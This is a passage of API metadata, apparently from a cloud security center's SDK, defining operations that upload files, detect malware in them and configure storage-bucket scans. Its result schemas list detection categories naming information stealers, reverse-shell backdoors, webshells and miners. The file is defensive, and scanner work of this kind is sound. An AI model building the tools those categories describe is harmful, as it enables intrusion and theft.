'eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC43NTNaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsMjA5NzE1MjBdLFsiZXEiLCIka2V5IiwiMS8yMDIyLzA2LzIzLzE4LzU4LzE2NTU5ODE4OTA3NTM4NTc2MjFkNS1kN2E1LTQ5YzAtOGJjZi0yMTMyY2JiYTdmYzMi****', ], 'Signature' => [ 'description' => 'The signature that is used to upload the file.'."\n", 'type' => 'string', 'example' => 'wDhPgVdnY/bkKFYcYFl+4crl****', ], 'OssKey' => [ 'description' => 'The key of the file that is used after the file is uploaded to the OSS bucket.'."\n", 'type' => 'string', 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', ], ], ], 'FileExist' => [ 'description' => 'Indicates whether the file exists in the cloud. Valid values:'."\n" ."\n" .'* **true**: The file exists in the cloud. You do not need to upload the file.'."\n" .'* **false**: The file does not exist in the cloud. You must upload the file.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'HashKey' => [ 'description' => 'The identifier of the file.'."\n", 'type' => 'string', 'example' => '0a212417e65c26ff133cfff28f6c****', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RequestTooFrequently', 'errorMessage' => 'Request too frequently, please try again later', ], [ 'errorCode' => 'InvalidApiDetectType', 'errorMessage' => 'Unsupported Api Detect Type.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'SystemBusy', 'errorMessage' => 'System busy, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"UploadUrlList\\": [\\n {\\n \\"PublicUrl\\": \\"http://example.com\\",\\n \\"InternalUrl\\": \\"http://example.com\\",\\n \\"Expire\\": \\"1658562101370\\",\\n \\"Context\\": {\\n \\"AccessId\\": \\"yourAccessKeyID\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****\\",\\n \\"Signature\\": \\"wDhPgVdnY/bkKFYcYFl+4crl****\\",\\n \\"OssKey\\": \\"1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****\\"\\n },\\n \\"FileExist\\": false,\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'CreateFileDetectUploadUrl', 'description' => 'You can call this operation to query the parameters that are required to upload a file for detection. If the value of the response parameter FileExist is true, the file that you want to upload for detection already exists in the cloud. In this case, you can directly push the file for detection. If the value of the response parameter FileExist is false, you must use the form upload method to upload the file to the specified Object Storage Service (OSS) bucket based on the response parameters of this operation.'."\n" ."\n" .'The form upload method is provided by OSS. For more information, see [Form upload](~~84788~~).'."\n" ."\n" .'The HashKey parameter is included in all API operations that are related to the file detection feature. The parameter specifies the unique identifier of a file. Only MD5 hash values are supported. Before you call this operation, calculate the MD5 hash value of the file.'."\n", ], 'CreateFileDetect' => [ 'summary' => 'Pushes a file to the cloud for detection.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '140701', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '115.213.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file. Valid values:'."\n" ."\n" .'* **0**: unknown files'."\n" .'* **1**: binary files'."\n" .'* **2**: webshell files'."\n" .'* **4**: script files'."\n" ."\n" .'> If you do not know the type of the file, set this parameter to 0.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], [ 'name' => 'HashKey', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the file. Only MD5 hash values are supported.'."\n", 'type' => 'string', 'required' => true, 'example' => '0a212417e65c26ff133cfff28f6c****', ], ], [ 'name' => 'OssKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the file that is stored in the Object Storage Service (OSS) bucket. You can call the [CreateFileDetectUploadUrl](~~CreateFileDetectUploadUrl~~) operation to query the keys of files.'."\n", 'type' => 'string', 'required' => false, 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', ], ], [ 'name' => 'DownloadUrl', 'in' => 'query', 'schema' => [ 'description' => 'The URL that is used to download the file. You can specify this parameter to trigger file detection without the need to upload the file in advance.', 'type' => 'string', 'required' => false, 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', ], ], [ 'name' => 'Decompress', 'in' => 'query', 'schema' => [ 'description' => 'Whether to decompress or not. Valid values:'."\n" ."\n" .'- true: To decompress.'."\n" .'- false: Not to decompress.', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'DecompressMaxLayer', 'in' => 'query', 'schema' => [ 'description' => 'The maximum level of decompression when dealing with nested compressed files with multiple levels. The minimum value is 1, and the maximum value is 5. If the decompression level exceeds the maximum, the decompression operation will be terminated, but the detection of decompressed files will not be affected.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'DecompressMaxFileCount', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of files for decompression. The minimum value is 1, and the maximum value is 1000. If the decompression level exceeds the maximum, the decompression operation will be terminated, but the detection of decompressed files will not be affected.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => '', 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => '', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'HashKey' => [ 'description' => 'The identifier of the file.'."\n", 'type' => 'string', 'example' => '0a212417e65c26ff133cfff28f6c****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RequestTooFrequently', 'errorMessage' => 'Request too frequently, please try again later', ], [ 'errorCode' => 'GetFileError', 'errorMessage' => 'Get file error, please check input params and file size, and make sure upload file success.', ], [ 'errorCode' => 'InvalidDownloadUrl', 'errorMessage' => 'Invalid file download URL.', ], [ 'errorCode' => 'FileSizeOverLimit', 'errorMessage' => 'File size over limit.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'SystemBusy', 'errorMessage' => 'System busy, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\"\\n}","type":"json"}]', 'title' => 'CreateFileDetect', 'description' => 'You can call this operation to push a file to the cloud for detection. Before you call this operation, make sure that the file is uploaded. You can call the CreateFileDetectUploadUrl operation to upload the file.'."\n" ."\n" .'The HashKey parameter is included in all API operations that are related to the file detection feature. The parameter specifies the unique identifier of a file. Only MD5 hash values are supported. Before you call this operation, calculate the MD5 hash value of the file.'."\n", ], 'GetFileDetectResult' => [ 'summary' => 'Obtains file detection results.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '140704', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '183.46.XX.XX', ], ], [ 'name' => 'HashKeyList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The identifiers of files. Only MD5 hash values are supported.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The identifier of the file. Only MD5 hash values are supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '0a212417e65c26ff133cfff28f9c****', ], 'required' => true, 'maxItems' => 200, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file. Valid values:'."\n" ."\n" .'* **0**: unknown file'."\n" .'* **1**: binary file'."\n" .'* **2**: webshell file'."\n" .'* **4**: script file'."\n" ."\n" .'> If you do not know the type of the file, set this parameter to 0.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'ResultList' => [ 'description' => 'An array that consists of file detection results.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the file detection result.'."\n", 'type' => 'object', 'properties' => [ 'HashKey' => [ 'description' => 'The identifier of the file. Only MD5 hash values are supported.'."\n", 'type' => 'string', 'example' => '0a212417e65c26ff133cfff28f6c****', ], 'Result' => [ 'description' => 'The file detection result. Valid values:'."\n" ."\n" .'* **0**: The file is normal.'."\n" .'* **1**: The file is suspicious.'."\n" .'* **3**: The detection is in progress.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Score' => [ 'description' => 'The score of file detection result.'."\n" ."\n" .'> A higher score indicates a more suspicious file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'VirusType' => [ 'description' => 'The type of the virus. Valid values:'."\n" ."\n" .'* **Trojan**: trojan horse'."\n" .'* **WebShell**: webshell'."\n" .'* **Backdoor**: backdoor program'."\n" .'* **RansomWare**: ransomware'."\n" .'* **Scanner**: scanner'."\n" .'* **Stealer**: tool that is used to steal information'."\n" .'* **Malbaseware**: tainted basic software'."\n" .'* **Hacktool**: attacker tool'."\n" .'* **Engtest**: engine test program'."\n" .'* **Downloader**: trojan downloader'."\n" .'* **Virus**: infectious virus'."\n" .'* **Miner**: mining program'."\n" .'* **Worm**: worm'."\n" .'* **DDoS**: DDoS trojan'."\n" .'* **Malware**: malicious program'."\n" .'* **RiskWare**: software that has risks'."\n" .'* **Proxytool**: proxy'."\n" .'* **Suspicious**: suspicious program'."\n" .'* **MalScript**: malicious script'."\n" .'* **Rootkit**: rootkit'."\n" .'* **Exploit**: exploit', 'type' => 'string', 'example' => 'WEBSHELL', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'Ext' => [ 'description' => 'The extended information about the file detection result.'."\n", 'type' => 'string', 'example' => '{"HighLight":[[23245,23212]]}', ], 'Compress' => [ 'description' => 'Whether to identify as a compressed package. Valid values:'."\n" .'- **true**: Yes.'."\n" .'- **false**: No.', 'type' => 'boolean', 'example' => 'false', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RequestTooFrequently', 'errorMessage' => 'Request too frequently, please try again later', ], [ 'errorCode' => 'GetResultFail', 'errorMessage' => 'Get result fail, found no detect record for this file or result has been expired', ], [ 'errorCode' => 'InvalidApiDetectType', 'errorMessage' => 'Unsupported Api Detect Type.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'SystemBusy', 'errorMessage' => 'System busy, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"ResultList\\": [\\n {\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\",\\n \\"Result\\": 0,\\n \\"Score\\": 100,\\n \\"VirusType\\": \\"WebShell\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Ext\\": \\"{\\\\n \\\\\\"HighLight\\\\\\":\\\\n [\\\\n [\\\\n 23245,\\\\n 23212\\\\n ]\\\\n ],\\\\n \\\\\\"FileLabel\\\\\\":\\\\n [\\\\n \\\\\\"PE32\\\\\\",\\\\n \\\\\\"Zip\\\\\\",\\\\n \\\\\\"SFX\\\\\\",\\\\n \\\\\\"encrypted\\\\\\"\\\\n ]\\\\n}\\",\\n \\"Compress\\": false\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetFileDetectResult', 'description' => 'The HashKey parameter is included in all API operations that are related to the file detection feature. The parameter specifies the unique identifier of a file. Only MD5 hash values are supported. Before you call this operation, calculate the MD5 hash value of the file.'."\n", ], 'ListCompressFileDetectResult' => [ 'summary' => 'Queries the detection results of the files extracted from a package.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '215080', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '27.9.XX.XX', ], ], [ 'name' => 'HashKey', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the file. Only MD5 hash values are supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '0a212417e65c26ff133cfff28f6c****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'minimum' => '1', 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'maximum' => '100', 'minimum' => '1', 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '55', ], ], ], 'ResultList' => [ 'description' => 'The detection results of files.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The detection results of the file.'."\n", 'type' => 'object', 'properties' => [ 'HashKey' => [ 'description' => 'The identifier of the file.'."\n", 'type' => 'string', 'example' => '0a212417e65c26ff133cfff28f6c****', ], 'Result' => [ 'description' => 'The file detection result. Valid values:'."\n" ."\n" .'* **0**: The file is normal.'."\n" .'* **1**: The file is suspicious.'."\n" .'* **3**: The detection is in progress.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Score' => [ 'description' => 'The score of the file detection result. The following list describes mappings between the score ranges and risk levels:'."\n" ."\n" .'* 0 to 60: normal'."\n" .'* 61 to 70: risky'."\n" .'* 71 to 80: suspicious'."\n" .'* 81 to 100: malicious'."\n" ."\n" .'> A higher score indicates a more suspicious file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'VirusType' => [ 'description' => 'The type of the virus. Valid values:'."\n" ."\n" .'* **Trojan**: self-mutating trojan'."\n" .'* **WebShell**: webshell'."\n" .'* **Backdoor**: backdoor program'."\n" .'* **RansomWare**: ransomware'."\n" .'* **Scanner**: scanner'."\n" .'* **Stealer**: tool that is used to steal information'."\n" .'* **Malbaseware**: tainted basic software'."\n" .'* **Hacktool**: attacker tool'."\n" .'* **Engtest**: engine test program'."\n" .'* **Downloader**: trojan downloader'."\n" .'* **Virus**: infectious virus'."\n" .'* **Miner**: mining program'."\n" .'* **Worm**: worm'."\n" .'* **DDoS**: DDoS trojan'."\n" .'* **Malware**: malicious program'."\n" .'* **Backdoor**: reverse shell'."\n" .'* **RiskWare**: software that has risks'."\n" .'* **Proxytool**: proxy'."\n" .'* **Suspicious**: suspicious program'."\n" .'* **MalScript**: malicious script'."\n" .'* **Rootkit**: rootkit'."\n" .'* **Exploit**: exploit'."\n", 'type' => 'string', 'example' => 'WebShell', ], 'Ext' => [ 'description' => 'The extended information about the file detection result.'."\n", 'type' => 'string', 'example' => '{'."\n" .' "HighLight":'."\n" .' ['."\n" .' ['."\n" .' 23245,'."\n" .' 23212'."\n" .' ]'."\n" .' ],'."\n" .' "FileLabel":'."\n" .' ['."\n" .' "PE32",'."\n" .' "Zip",'."\n" .' "SFX",'."\n" .' "encrypted"'."\n" .' ]'."\n" .'}', ], 'Path' => [ 'description' => 'The path to the file within the package.'."\n", 'type' => 'string', 'example' => '/root/1.zip/test****', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RequestTooFrequently', 'errorMessage' => 'Request too frequently, please try again later', ], [ 'errorCode' => 'GetResultFail', 'errorMessage' => 'Get result fail, found no detect record for this file or result has been expired', ], [ 'errorCode' => 'InvalidApiDetectType', 'errorMessage' => 'Unsupported Api Detect Type.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], [ 'errorCode' => 'SystemBusy', 'errorMessage' => 'System busy, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55\\n },\\n \\"ResultList\\": [\\n {\\n \\"HashKey\\": \\"0a212417e65c26ff133cfff28f6c****\\",\\n \\"Result\\": 0,\\n \\"Score\\": 100,\\n \\"VirusType\\": \\"WebShell\\",\\n \\"Ext\\": \\"{\\\\n \\\\\\"HighLight\\\\\\":\\\\n [\\\\n [\\\\n 23245,\\\\n 23212\\\\n ]\\\\n ],\\\\n \\\\\\"FileLabel\\\\\\":\\\\n [\\\\n \\\\\\"PE32\\\\\\",\\\\n \\\\\\"Zip\\\\\\",\\\\n \\\\\\"SFX\\\\\\",\\\\n \\\\\\"encrypted\\\\\\"\\\\n ]\\\\n}\\",\\n \\"Path\\": \\"/root/1.zip/test****\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListCompressFileDetectResult', 'description' => 'You can call this operation to query the detection results of files only if the files are pushed to the cloud for detection and in the form of packages. You can repeatedly query the detection results of files within 5 hours because the results are retained for 5 hours. For more information about how to push a file to the cloud for detection, see the CreateFileDetect operation. For more information about how to query file detection results, see the GetFileDetectResult operation.'."\n" ."\n" .'The HashKey parameter is included in all API operations that are related to the file detection feature. The parameter specifies the unique identifier of a file. Only hexadecimal MD5 hash values of complete file content are supported. You must calculate the required MD5 hash value before you call this operation.'."\n" ."\n" .'To calculate the hexadecimal MD5 hash value for a file, you can perform the following steps:'."\n" ."\n" .'1\\. Use the MD5 algorithm to encrypt data and generate a 128-bit hash value. You can use a tool such as MessageDigest for Java and the hashlib module for Python.'."\n" ."\n" .'2\\. Convert the hash value to a hexadecimal string. You can use a tool such as Codec for Java and the hex() function for Python.'."\n", ], 'DeleteOssScanConfig' => [ 'summary' => 'Deletes the configuration of an Object Storage Service (OSS) file detection policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '197413', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The configuration ID.'."\n" ."\n" .'> You can call the [ListOssScanConfig](~~ListOssScanConfig~~) operation to query configuration IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1589', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InvalidId', 'errorMessage' => 'Invalid ID.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\"\\n}","type":"json"}]', 'title' => 'DeleteOssScanConfig', ], 'ListOssScanConfig' => [ 'summary' => 'Queries the configuration of an Object Storage Service (OSS) file detection policy.', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '197058', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The policy name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testName', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], ], ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The detailed data.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The configuration ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '443496', ], 'Enable' => [ 'description' => 'Indicates whether the policy is enabled. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Name' => [ 'description' => 'The configuration name.'."\n", 'type' => 'string', 'example' => 'test****', ], 'ScanDayList' => [ 'description' => 'The days on which the scan is executed in a week.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The day on which the scan is executed in a week.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'StartTime' => [ 'description' => 'The time when the scan starts. The time is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '00:00:00'."\n", ], 'EndTime' => [ 'description' => 'The time when the scan ends. The time is in the HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '06:00:00', ], 'BucketNameList' => [ 'description' => 'The names of the buckets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'example' => 'amssev-oss****', ], ], 'KeySuffixList' => [ 'description' => 'The suffixes of the objects that are scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The suffix of the object that is scanned.'."\n", 'type' => 'string', 'example' => '.asp', ], ], 'KeyPrefixList' => [ 'description' => 'The prefixes of the objects that are scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The prefix of the object that is scanned.'."\n", 'type' => 'string', 'example' => '/root', ], ], 'LastUpdateTime' => [ 'description' => 'The timestamp when the configuration was last modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1698388233883', ], 'BucketCount' => [ 'description' => 'The number of buckets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AllKeyPrefix' => [ 'description' => 'Indicates whether the prefixes of all objects are matched.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'DecompressMaxLayer' => [ 'description' => 'The maximum number of decompression levels when multi-level packages are decompressed. Valid values: 1 to 5. If the maximum number of decompression levels is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'DecompressMaxFileCount' => [ 'description' => 'The maximum number of objects that can be extracted during decompression. Valid values: 1 to 1000. If the maximum number of objects that can be extracted is reached, the decompression operation immediately ends and the detection of extracted objects is not affected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'DecryptionList' => [ 'description' => 'The decryption methods.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The decryption method. Valid values:'."\n" ."\n" .'* **OSS**: OSS-managed.'."\n" .'* **KMS**: Key Management Service (KMS).'."\n", 'type' => 'string', 'example' => 'KMS', ], ], 'LastModifiedStartTime' => [ 'description' => 'The timestamp when the object was last modified. The time must be later than the timestamp that you specify. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1724301769834', ], 'RealTimeIncr' => [ 'description' => 'Whether to enable real-time incremental detection. When this parameter is set to true, the parameters ScanDayList, StartTime, and EndTime are not effective.', 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 50\\n },\\n \\"Data\\": [\\n {\\n \\"Id\\": 443496,\\n \\"Enable\\": 1,\\n \\"Name\\": \\"test****\\",\\n \\"ScanDayList\\": [\\n 1\\n ],\\n \\"StartTime\\": \\"00:00:00\\\\n\\",\\n \\"EndTime\\": \\"06:00:00\\",\\n \\"BucketNameList\\": [\\n \\"amssev-oss****\\"\\n ],\\n \\"KeySuffixList\\": [\\n \\".asp\\"\\n ],\\n \\"KeyPrefixList\\": [\\n \\"/root\\"\\n ],\\n \\"LastUpdateTime\\": 1698388233883,\\n \\"BucketCount\\": 10,\\n \\"AllKeyPrefix\\": true,\\n \\"DecompressMaxLayer\\": 1,\\n \\"DecompressMaxFileCount\\": 100,\\n \\"DecryptionList\\": [\\n \\"KMS\\"\\n ],\\n \\"LastModifiedStartTime\\": 1724301769834,\\n \\"RealTimeIncr\\": true\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListOssScanConfig', ], 'CreateOssBucketScanTask' => [ 'summary' => 'Creates a bucket check task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '172804', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], ], 'parameters' => [ [ 'name' => 'BucketNameList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The names of the buckets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the bucket.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hz-yqq-standard****', ], 'required' => true, 'maxItems' => 1000, ], ], [ 'name' => 'ExcludeKeySuffixList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The suffixes of the objects that you do not want to check.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The suffix of the object that you do not want to check.'."\n", 'type' => 'string', 'required' => false, 'example' => '.jsp', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 